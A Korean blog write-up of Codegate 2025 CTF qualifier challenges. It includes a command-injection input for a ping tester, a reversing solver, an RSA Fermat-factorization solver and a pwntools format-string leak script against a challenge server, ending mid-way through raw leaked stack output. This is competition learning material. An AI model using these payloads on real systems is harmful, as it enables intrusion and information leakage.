CTF

2025 codegate CTF quals

_daeseong_ 2025. 6. 22. 02:49

misc

Hello Codegate

discord notice 채널에 들어가면 플래그가 있다.

codegate2025{65782695e16255e3ef8517a1bfb059f0}

Captcha World

# root @ daeseong in /mnt/p/codegate/2025 0 [09:19:25]
~ nc 3.38.44.81 9623                                                                                      130 [09:19:25]
 ######     ###    ########  ########  ######  ##     ##    ###
##    ##   ## ##   ##     ##    ##    ##    ## ##     ##   ## ##
##        ##   ##  ##     ##    ##    ##       ##     ##  ##   ##
##       ##     ## ########     ##    ##       ######### ##     ##
##       ######### ##           ##    ##       ##     ## #########
##    ## ##     ## ##           ##    ##    ## ##     ## ##     ##
 ######  ##     ## ##           ##     ######  ##     ## ##     ##
##      ##  #######  ########  ##       ########
##  ##  ## ##     ## ##     ## ##       ##     ##
##  ##  ## ##     ## ##     ## ##       ##     ##
##  ##  ## ##     ## ########  ##       ##     ##
##  ##  ## ##     ## ##   ##   ##       ##     ##
##  ##  ## ##     ## ##    ##  ##       ##     ##
 ###  ###   #######  ##     ## ######## ########

Rules

All letters are capitalized.
Solve the captcha within 1 minute, in all 10 rounds.
There are 10 rounds.

Round 1
Solve the captcha

Captcha:
      ## ########   ######  ########     ##
      ## ##     ## ##    ## ##     ##  ####
      ## ##     ## ##       ##     ##    ##
      ## ########  ##       ########     ##
##    ## ##     ## ##       ##           ##
##    ## ##     ## ##    ## ##           ##
 ######  ########   ######  ##         ######

Input:
JBCP1
Correct
Round 2
Solve the captcha

Captcha:
#### ########  ######  ######## ########
 ##  ##       ##    ##    ##    ##    ##
 ##  ##       ##          ##        ##
 ##  ######   ##          ##       ##
 ##  ##       ##          ##      ##
 ##  ##       ##    ##    ##      ##
#### ##        ######     ##      ##

Input:
IFCT7
Correct
Round 3
Solve the captcha

Captcha:
#### ########  #######  ##         #######
 ##     ##    ##     ## ##    ##  ##     ##
 ##     ##    ##     ## ##    ##  ##     ##
 ##     ##     #######  ##    ##  ##     ##
 ##     ##    ##     ## ######### ##  ## ##
 ##     ##    ##     ##       ##  ##    ##
####    ##     #######        ##   ##### ##

Input:
IT84Q
Correct
Round 4
Solve the captcha

Captcha:
##       ######## ##     ##    ###    ########
##       ##    ## ###   ###   ## ##   ##
##           ##   #### ####  ##   ##  ##
##          ##    ## ### ## ##     ## ######
##         ##     ##     ## ######### ##
##         ##     ##     ## ##     ## ##
########   ##     ##     ## ##     ## ##

Input:
L7MAF
Correct
Round 5
Solve the captcha

Captcha:
##    ##  #######   ######    ######   ##    ##
###   ## ##     ## ##    ##  ##    ##  ###   ##
####  ## ##     ## ##        ##        ####  ##
## ## ## ##     ## ##   #### ##   #### ## ## ##
##  #### ##     ## ##    ##  ##    ##  ##  ####
##   ### ##     ## ##    ##  ##    ##  ##   ###
##    ##  #######   ######    ######   ##    ##

Input:
NOGGN
Correct
Round 6
Solve the captcha

Captcha:
 #######   #######  ######## ######## ##    ##
##     ## ##     ## ##            ##  ##   ##
       ## ##        ##           ##   ##  ##
 #######  ########  ######      ##    #####
##        ##     ## ##         ##     ##  ##
##        ##     ## ##        ##      ##   ##
#########  #######  ######## ######## ##    ##

Input:
26EZK
Correct
Round 7
Solve the captcha

Captcha:
##     ## ######## ########  ######   ##    ##
##     ## ##    ##      ##  ##    ##  ##   ##
##     ##     ##       ##   ##        ##  ##
##     ##    ##       ##    ##   #### #####
 ##   ##    ##       ##     ##    ##  ##  ##
  ## ##     ##      ##      ##    ##  ##   ##
   ###      ##     ########  ######   ##    ##

Input:
V7ZGK
Correct
Round 8
Solve the captcha

Captcha:
########       ##  #######  ##      ## ##     ##
##    ##       ## ##     ## ##  ##  ## ##     ##
    ##         ##        ## ##  ##  ## ##     ##
   ##          ##  #######  ##  ##  ## #########
  ##     ##    ## ##        ##  ##  ## ##     ##
  ##     ##    ## ##        ##  ##  ## ##     ##
  ##      ######  #########  ###  ###  ##     ##

Input:
7J2WH
Correct
Round 9
Solve the captcha

Captcha:
##    ## ##    ## ######## ########  ######
 ##  ##  ##   ##  ##    ## ##       ##    ##
  ####   ##  ##       ##   ##       ##
   ##    #####       ##    ######   ##
   ##    ##  ##     ##     ##       ##
   ##    ##   ##    ##     ##       ##    ##
   ##    ##    ##   ##     ########  ######

Input:
YK7EC
Correct
Round 10
Solve the captcha

Captcha:
      ##  ######   #######   #######  ########
      ## ##    ## ##     ## ##     ## ##     ##
      ## ##       ##     ## ##     ## ##     ##
      ##  ######   #######   #######  ########
##    ##       ## ##     ## ##     ## ##   ##
##    ## ##    ## ##     ## ##     ## ##    ##
 ######   ######   #######   #######  ##     ##

Input:
JS88R
Correct
Congratulations! You have completed all the rounds
Here's the flag:  codegate2025{89a6f6ac01f84a1c0f2eed042db2e0a73de64fc2e13884022d1bbf97fd0f73864851e66562c8773aa998a825d9e47d}

nc로 서버에 접속하자마자 캡차가 뜨길래 아무생각 없이 계속 입력했더니 플래그가 나왔다.

codegate2025{89a6f6ac01f84a1c0f2eed042db2e0a73de64fc2e13884022d1bbf97fd0f73864851e66562c8773aa998a825d9e47d}

web

Ping Tester

링크로 들어가면 IP를 적을 수 있는 칸이 하나 주어진다.

보자마자 커맨드인젝션이라고 생각해서

127.0.0.1 && cat flag

위 IP주소?를 입력해봤다.

플래그가 나왔다.

codegate2025{80fd12690c4d31a8cf3fe2865e3ceb99aca9e6047c6acb2cbb9157e26ec91f4b}

rev

initial

[디컴파일코드]

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  int i; // [rsp+4h] [rbp-3Ch]
  int j; // [rsp+8h] [rbp-38h]
  int k; // [rsp+Ch] [rbp-34h]
  char input[40]; // [rsp+10h] [rbp-30h] BYREF
  unsigned __int64 v8; // [rsp+38h] [rbp-8h]

  v8 = __readfsqword(0x28u);
  __isoc99_scanf("%32s", input);
  if ( strlen(input) == 32 )
  {
    for ( i = 0; i <= 30; ++i )
      input[i] ^= input[i + 1];
    input[31] ^= input[0];
    for ( j = 0; j <= 31; ++j )
      input[j] = rol(byte_4020[input[j]], j & 6);
    for ( k = 0; k <= 31; ++k )
    {
      if ( input[k] != enc_flag[k] )
      {
        puts("Wrong!");
        return 0LL;
      }
    }
    puts("Correct!");
    return 0LL;
  }
  else
  {
    puts("Wrong length");
    return 1LL;
  }
}

메인을 디컴파일한 코드를 보면 입력값에 xor 을 하고 테이블에 키값으로 준 다음 벨류값을 rol 하는 것을 볼 수 있다.

다 어느정도 복호화가 가능한 연산이기 때문에 반대로 진행하면 원본 플래그를 얻을 수 있을거라 생각 했다.

ror, index찾기,xor 순으로 진행 했다 xor의 마지막값부터 해야하는데 마지막값을 모르니 브루트포스를 해주었다

def rol(x, r):
    return ((x << r) | (x >> (8 - r))) & 0xff

T = [
    69, 184, 26, 128, 71, 203, 214, 25, 29, 88, 86, 226, 54, 228, 39, 101,
    177, 115, 233, 92, 126, 66, 124, 222, 113, 97, 246, 72, 245, 34, 87, 27,
    175, 219, 141, 139, 192, 43, 212, 161, 204, 242, 235, 190, 55, 56, 217, 30,
    99, 227, 77, 148, 19, 186, 156, 134, 16, 53, 252, 79, 215, 211, 123, 58,
    201, 143, 208, 36, 241, 5, 44, 83, 94, 140, 150, 61, 166, 164, 110, 207,
    91, 109, 4, 237, 18, 122, 23, 37, 52, 220, 173, 225, 32, 145, 117, 6,
    196, 116, 111, 120, 0, 108, 194, 171, 169, 159, 176, 22, 51, 144, 205, 178,
    60, 170, 155, 81, 78, 63, 28, 80, 250, 24, 232, 180, 84, 185, 59, 73,
    249, 182, 153, 157, 125, 14, 102, 239, 255, 21, 151, 85, 15, 248, 33, 46,
    131, 243, 149, 10, 168, 188, 93, 181, 50, 253, 247, 216, 38, 137, 100, 47,
    167, 202, 13, 236, 195, 251, 172, 183, 9, 238, 132, 146, 121, 1, 7, 162,
    119, 74, 2, 96, 57, 160, 147, 189, 136, 198, 229, 231, 206, 35, 187, 223,
    133, 193, 89, 234, 210, 154, 230, 49, 20, 254, 197, 68, 17, 135, 103, 209,
    75, 218, 106, 82, 191, 11, 244, 90, 138, 8, 40, 163, 127, 48, 112, 158,
    45, 12, 130, 174, 64, 104, 67, 118, 224, 62, 142, 42, 76, 165, 213, 105,
    114, 200, 129, 107, 70, 199, 179, 31, 95, 152, 41, 240, 98, 3, 221, 65
]

T_inv = [0] * 256
for i, val in enumerate(T):
    T_inv[val] = i

expected = [
    54,
    226,
    46,
    134,
    109,
    36,
    205,
    148,
    26,
    26,
    70,
    155,
    73,
    131,
    97,
    21,
    32,
    178,
    71,
    234,
    13,
    66,
    233,
    61,
    228,
    116,
    27,
    22,
    139,
    84,
    46,
    170
]

B = [0] * 32
for j in range(32):
    r = j & 6
    tmp = rol(expected[j], r)
    B[j] = T_inv[tmp]

X = 0
for i in range(31):
    X ^= B[i]
    
for cand in range(256):
    A = [0] * 32
    A[31] = cand
    A[0] = cand ^ X
    for i in range(1, 32):
        A[i] = A[i - 1] ^ B[i - 1]
    if A[31] != cand:
        continue
    if all(32 <= a <= 126 for a in A):
        s = ''.join(chr(a) for a in A)
        print(f"{cand}: {s}")
96: ~ryxz|ix/-/(fUxqq-BJ-o,yBO.KBCC`
98: |p{zx~kz-/-*dWzss/@H/m.{@M,I@AAb
100: zv}|~xm|+)+,bQ|uu)FN)k(}FK*OFGGd
104: vzqprtap'%' n]pyy%JB%g$qJG&CJKKh
105: w{pqsu`q&$&!o\\qxx$KC$f%pKF'BKJJi
106: txsrpvcr%'%"l_r{{'H@'e&sHE$AHIIj
107: uyrsqwbs$&$#m^szz&IA&d'rID%@IHHk
108: r~utvpet#!#$jYt}}!NF!c uNC"GNOOl
111: q}vwusfw " 'iZw~~"ME"`#vM@!DMLLo
113: ochikmxi><>9wDi``<S[<~=hS^?ZSRRq
114: l`kjhn{j=?=:tGjcc?PX?}>kP]<YPQQr
115: majkiozk<><;uFkbb>QY>|?jQ\\=XQPPs
116: jfmlnh}l;9;<rAlee9V^9{8mV[:_VWWt
117: kglmoi|m:8:=s@mdd8W_8z9lWZ;^WVVu
119: ienomk~o8:8?qBoff:U]:x;nUX9\\UTTw
120: fja`bdq`7570~M`ii5ZR5w4aZW6SZ[[x
122: dhcb`fsb5752|Obkk7XP7u6cXU4QXYYz
123: eibcagrc4643}Ncjj6YQ6t7bYT5PYXX{
124: bnedf`ud3134zIdmm1^V1s0e^S2W^__|
125: codegate2025{Hell0_W0r1d_R3V_^^}
126: `lgfdbwf1316xKfoo3\\T3q2g\\Q0U\\]]~

전부 다 printable 문자인 문자열만 뽑아서 보면 플래그가 있는 것을 확인 할 수 있다.

codegate2025{Hell0_W0r1d_R3V_^^}

crypto

Encrypt flag

[prob.py]

from Crypto.Util.number import bytes_to_long, getPrime
from sympy import nextprime
import gmpy2

p = getPrime(512)
q = nextprime(p)

n = p * q
e = 65537

flag = "codegate2025{FAKE_FLAG}"
phi = (p - 1) * (q - 1)

d = gmpy2.invert(e, phi)

m = bytes_to_long(flag.encode())
c = pow(m, e, n)

print(f"n: {n}")
print(f"e: {e}")
print("Encrypted flag:", c)

RSA로 플래그를 암호화 하는 문제이다

$$ n = p*q $$

여기서 p,q는 다음 소수이고 매우 근접해 있다.

그래서 페르마 인수분해 기법을 사용해서 위 식을

$$ n = a^2 - b^2 $$

$$ n = (a+b)(a-b) $$

형태로 나태낼수있다.

p,q 는 거의 유사하므로 a는 n의 제곱근 근처에서 시작하고 b는 aa-n 가 완전제곱수(bb)가 되는 순간 b를 구할수있다.

$$ p = a-b, q= a+b $$

로 p,q를 구해낼수있고, RSA 복호화를 위해 φ(n) = (p - 1) * (q - 1)을 구하고, 공개지수 e의 모듈러 역원인 d를 계산하고. 마지막으로 암호문 c에 대해 m = c^d mod n을 계산하고, 이 정수를 바이트로 변환하면 원래의 플래그가 복호화 할 수 있다.

#!/usr/bin/env python3
from math import isqrt
from Crypto.Util.number import long_to_bytes

# RSA
n = 54756668623799501273661800933882720939597900879404357288428999230135977601404008182853528728891571108755011292680747299434740465591780820742049958146587060456010412555357258580332452401727868163734930952912198058084689974208638547280827744839358100210581026805806202017050750775163530268755846782825700533559
e = 65537
c = 7728462678531582833823897705285786444161591728459008932472145620845644046450565339835113761143563943610957661838221298240392904711373063097593852621109599751303613112679036572669474191827826084312984251873831287143585154570193022386338846894677372327190250188401045072251858178782348567776180411588467032159

a = isqrt(n)
if a * a < n: a += 1
while True:
    b2 = a * a - n
    b = isqrt(b2)
    if b * b == b2: break
    a += 1

p = a - b
q = a + b
phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)
m = pow(c, d, n)
flag = long_to_bytes(m)
print("Decrypted flag:", flag.decode())

Decrypted flag: codegate2025{Cl0se_p_q_0f_RSA_Is_Vu1n3rabIe}
codegate2025{Cl0se_p_q_0f_RSA_Is_Vu1n3rabIe}

pwn

Magic Palette

이름 처럼 팔레트에 그림을 그리고 출력해볼수 있는 문제이다.

각 픽셀? 은

┌─────────┬─────────────┐
│ HEADER  │   CONTENT   │
├─────────┼─────────────┤
│         │             │
│         │             │
└─────────┴─────────────┘

헤더와 내용으로 2바이트로 구성된다.

unsigned __int64 __fastcall print_palette(_QWORD *a1)
{
  int v1; // eax
  int v2; // eax
  unsigned __int16 v4; // [rsp+16h] [rbp-102Ah]
  unsigned int i; // [rsp+18h] [rbp-1028h]
  unsigned int j; // [rsp+1Ch] [rbp-1024h]
  int v7; // [rsp+24h] [rbp-101Ch]
  int v8; // [rsp+28h] [rbp-1018h]
  _BYTE v9[16]; // [rsp+30h] [rbp-1010h] BYREF
  unsigned __int64 v10; // [rsp+1038h] [rbp-8h]
  __int64 savedregs; // [rsp+1040h] [rbp+0h] BYREF

  v10 = __readfsqword(0x28u);
  handle_output(a1, v9);
  for ( i = 0; i <= 0x3F; ++i )
  {
    for ( j = 0; j <= 0x3F; ++j )
    {
      v4 = *(*a1 + (i << 7) + 2LL * j);
      if ( (v4 & 0x1000) != 0 )
      {
        v7 = (v4 >> 4) & 0xF;
        if ( (v4 & 0xF) + j <= 0x40 && v7 + i <= 0x40 )
        {
          if ( (v4 & 0x400) != 0 )
            v1 = -(v4 & 0xF);
          else
            v1 = v4 & 0xF;
          v8 = v1;
          if ( (v4 & 0x800) != 0 )
            v2 = -v7;
          else
            v2 = (v4 >> 4) & 0xF;
          j += v8;
          i += v2;
        }
      }
      else if ( (v4 & 0x8000u) == 0 )
      {
        putchar(*(&savedregs + 64 * i + j - 4112));
      }
      else
      {
        printf(&v9[64 * i + j]);
      }
    }
    putchar(10);
  }
  return v10 - __readfsqword(0x28u);
}

출력함수에서 보면 헤더가 0x80 이면 printf 함수로 바로 v9( 파싱된 팔레트 )가 출력되는 것을 알수있다. 그래서 0x8000 | 글자 로 주면 우리가 원하는 문자를 printf로 출력 할 수 있어서 FSB가 발생한다.

무작정 “%p” 문자열을 넣어서 릭을 할 수 있다.

스택주소, libc 관련 주소들이 릭 되어서 일단 저장해놨다.

from pwn import *
#context.log_level = "debug"
context.arch = "amd64"
context.bits = 64
#p = remote("localhost", 54321)

f = lambda s: b"".join(p16(0x8000 | b) for b in s)

p = remote("43.203.137.197", 54321)

libc = ELF("./libc.so.6")
p.sendlineafter(b"> ",b"1")

for i in range(50):
    p.send(f(b"%p."))

p.send(p16(0x8000))
p.send(p16(0x2000))
p.sendlineafter(b"> ",b"3")

result = []
for _ in range(4):
    line = p.recvline()[:-1].decode().split(".")
    result.extend(line)
print(result)

stack = int(result[57],16)
success(f"stack addr : {hex(stack)}")

libc.address = int(result[2554],16) - 0x21ca70
success(f"libc addr : {hex(libc.address)}")

['(nil)', '(nil)', '(nil)', '0x3', '(nil)', '0x380', '0x7fffc037f570', '0x8025000000000044', '(nil)', '0x4', '0x400000007', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x20002e70252e7025', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', 'p', '0x7fffc037c3f0', '0x1', '(nil)', '0x33f', '0x7fffc037c278', '0x380', '0x7fffc037f570', '0x8070000000000044', '0x100000000', '0x4', '0x400000007', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x20002e70252e7025', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '', '0x7fffc037c3f0', '0x2', '(nil)', '0x346', '0x7fffc037c278', '0x380', '0x7fffc037f570', '0x802e000000000044', '0x200000000', '0x4', '0x400000007', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x20002e70252e7025', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x7fffc037c3f0', '0x3', '(nil)', '0x345', '0x7fffc037c278', '0x380', '0x7fffc037f570', '0x8025000000000044', '0x300000000', '0x4', '0x400000007', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x20002e70252e7025', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', 'p', '0x7fffc037c3f0', '0x4', '(nil)', '0x344', '0x7fffc037c278', '0x380', '0x7fffc037f570', '0x8070000000000044', '0x400000000', '0x4', '0x400000007', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x20002e70252e7025', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '', '0x7fffc037c3f0', '0x5', '(nil)', '0x333', '0x7fffc037c278', '0x380', '0x7fffc037f570', '0x802e000000000044', '0x500000000', '0x4', '0x400000007', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x20002e70252e7025', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x7fffc037c3f0', '0x6', '(nil)', '0x332', '0x7fffc037c278', '0x380', '0x7fffc037f570', '0x8025000000000044', '0x600000000', '0x4', '0x400000007', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x20002e70252e7025', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', 'p', '0x7fffc037c3f0', '0x7', '(nil)', '0x331', '0x7fffc037c278', '0x380', '0x7fffc037f570', '0x8070000000000044', '0x700000000', '0x4', '0x400000007', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x20002e70252e7025', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '', '0x7fffc037c3f0', '0x8', '(nil)', '0x320', '0x7fffc037c278', '0x380', '0x7fffc037f570', '0x802e000000000044', '0x800000000', '0x4', '0x400000007', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x20002e70252e7025', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x7fffc037c3f0', '0x9', '(nil)', '0x31f', '0x7fffc037c278', '0x380', '0x7fffc037f570', '0x8025000000000044', '0x900000000', '0x4', '0x400000007', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x20002e70252e7025', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', 'p', '0x7fffc037c3f0', '0xa', '(nil)', '0x31e', '0x7fffc037c278', '0x380', '0x7fffc037f570', '0x8070000000000044', '0xa00000000', '0x4', '0x400000007', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x20002e70252e7025', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '', '0x7fffc037c3f0', '0xb', '(nil)', '0x30d', '0x7fffc037c278', '0x380', '0x7fffc037f570', '0x802e000000000044', '0xb00000000', '0x4', '0x400000007', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x20002e70252e7025', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x7fffc037c3f0', '0xc', '(nil)', '0x30c', '0x7fffc037c278', '0x380', '0x7fffc037f570', '0x8025000000000044', '0xc00000000', '0x4', '0x400000007', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x20002e70252e7025', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', 'p', '0x7fffc037c3f0', '0xd', '(nil)', '0x30b', '0x7fffc037c278', '0x380', '0x7fffc037f570', '0x8070000000000044', '0xd00000000', '0x4', '0x400000007', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x20002e70252e7025', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '', '0x7fffc037c3f0', '0xe', '(nil)', '0x2fa', '0x7fffc037c278', '0x380', '0x7fffc037f570', '0x802e000000000044', '0xe00000000', '0x4', '0x400000007', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', 